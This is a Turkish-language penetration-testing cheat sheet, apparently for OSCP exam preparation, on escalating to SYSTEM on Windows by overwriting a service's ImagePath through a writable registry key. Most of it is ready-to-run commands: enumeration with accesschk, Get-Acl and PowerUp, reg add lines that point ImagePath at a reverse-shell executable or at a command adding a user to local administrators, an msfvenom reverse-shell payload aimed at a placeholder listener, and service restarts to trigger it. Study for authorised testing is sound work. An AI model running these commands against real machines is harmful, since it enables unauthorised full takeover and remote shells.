FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

Zayıf Servis Registry ACL → ImagePath'i reg add ile Ele Geçirme

HKLM\SYSTEM\CurrentControlSet\Services\<svc> altındaki bir servis registry anahtarına yazma hakkın varsa, ImagePath değerini kendi binary'ne çevirip servisi restart ederek SYSTEM olarak kod çalıştırırsın. sc CHANGE_CONFIG yoksa bile registry ACL'i bunu mümkün kılabilir.

Bilgi: ÖN KOŞULLAR
  • HKLM\SYSTEM\CurrentControlSet\Services\<svc> anahtarında SetValue/FullControl
  • Servisi başlatma/durdurma hakkı veya reboot imkanı
  • Servisin yüksek yetkili (LocalSystem) hesapla çalışması
┌──

Komutlar

accesschk ✓ EXAM-SAFE user
accesschk.exe -accepteula -uvwqk HKLM\System\CurrentControlSet\Services
Tüm servis registry anahtarlarının yazma haklarını recursive tarar (-k: registry, -w: write). Kullanıcına/Authenticated Users'a yazılabilir anahtar arar. HackTricks — Windows Local Privilege Escalation (Registry permissions / accesschk -k)
powershell ✓ EXAM-SAFE user
Get-Acl HKLM:\System\CurrentControlSet\Services\VulnSvc | Format-List; (Get-Acl HKLM:\System\CurrentControlSet\Services\VulnSvc).Access | Where-Object { $_.RegistryRights -match 'WriteKey|SetValue|FullControl' }
Belirli bir servis anahtarının ACL'ini döker ve SetValue/WriteKey/FullControl içeren ACE'leri filtreler. HackTricks — Windows Local Privilege Escalation (Get-Acl on service keys)
powerup ✓ EXAM-SAFE user
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Get-ModifiableRegistryAutoRun; Get-RegistryAlwaysInstallElevated"
PowerUp ile değiştirilebilir registry tabanlı çalıştırma noktalarını otomatik bulur. PowerSploit/PowerUp — registry checks
cmd ✓ EXAM-SAFE user
reg query HKLM\System\CurrentControlSet\Services\VulnSvc
Servis anahtarındaki mevcut ImagePath, Start ve ObjectName değerlerini okur; değiştirmeden önce orijinal ImagePath'i not et. Microsoft Docs — reg query
cmd ✓ EXAM-SAFE user
reg add HKLM\System\CurrentControlSet\Services\VulnSvc /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\rev.exe" /f
ImagePath değerini önceden yüklediğin reverse-shell exe'ye çevirir. REG_EXPAND_SZ tipi servisler için doğrudur. HackTricks — Windows Local Privilege Escalation (Modify ImagePath via reg add)
cmd ✓ EXAM-SAFE user
reg add HKLM\System\CurrentControlSet\Services\VulnSvc /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\System32\cmd.exe /c net localgroup administrators {{USER}} /add" /f
Alternatif: ImagePath'i kullanıcını yerel admin yapan komuta çevir; servis restart'ında SYSTEM olarak çalışır. OffSec PEN-200 — Insecure Registry Permissions
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o rev.exe
ImagePath'in işaret edeceği reverse-shell binary'sini Kali'de üret, sonra hedefe taşı. OffSec PEN-200 — msfvenom payload generation
cmd ✓ EXAM-SAFE user
sc stop "VulnSvc" & sc start "VulnSvc"
Servisi yeniden başlatarak yeni ImagePath'i SYSTEM bağlamında tetikle. Start hakkın yoksa reboot bekle. HackTricks — Windows Local Privilege Escalation

Zafiyetin Mantığı

Her servisin yapılandırması HKLM\SYSTEM\CurrentControlSet\Services\<servis> altında saklanır. SCM bu anahtardaki ImagePath değerini okuyarak hangi binary’nin çalışacağına karar verir. Eğer bu registry anahtarında düşük yetkili kullanıcı/gruba SetValue / WriteKey / FullControl verilmişse, sc config ile servis nesnesini değiştirme hakkın olmasa bile doğrudan registry’den ImagePath’i ele geçirebilirsin. Servis restart’ında senin binary’n LocalSystem olarak çalışır.

Tespit / Enumeration

  • accesschk -k ile servis anahtarlarını recursive tara: -uvwqk HKLM\System\CurrentControlSet\Services. KEY_SET_VALUE/KEY_WRITE/KEY_ALL_ACCESS görünen anahtar adaydır.
  • PowerShell Get-Acl ile tek anahtarın ACL’ini incele; RegistryRights alanında SetValue, WriteKey veya FullControl ara.
  • winPEAS Registry/Services bölümünde ‘you can modify’ uyarısı verir; PowerUp da registry autorun/servis kontrollerini içerir.

Hedef servisin Start değeri (2=Auto, 3=Manual/Demand) ve ObjectName (LocalSystem ideal) değerlerini reg query ile doğrula.

Exploitation

  1. Orijinal ImagePath’i reg query ile not et (geri döndürmek için).
  2. reg add ... /v ImagePath /t REG_EXPAND_SZ /d "<komut|exe>" /f ile değeri değiştir. Servis ImagePath’leri tipik olarak REG_EXPAND_SZ tipindedir.
  3. Hızlı kazanç için doğrudan net localgroup administrators <user> /add komutu; veya önceden yüklediğin rev.exe reverse shell.
  4. sc stop + sc start ile tetikle (yoksa reboot bekle).
  5. Admin üyeliğini/shell’i doğrula.

Notlar / Tuzaklar

  • sc config engellenmiş ama registry yazılabilir senaryolar OSCP makinelerinde sık çıkar — win-weak-svc-perms başarısız olursa registry ACL’i ayrıca kontrol et.
  • Komut payload’ı SCM’ye yanıt vermeyeceğinden servis ‘failed to start’ verebilir; reverse shell veya grup ekleme yine de gerçekleşir.
  • İş bitince reg add ile orijinal ImagePath’i geri yükle; aksi halde servis bozulur.
  • REG_EXPAND_SZ yerine yanlışlıkla REG_SZ yazarsan %SystemRoot% gibi değişkenler genişlemez ama düz yollar yine çalışır.
┌──

Kaynaklar

0/15 set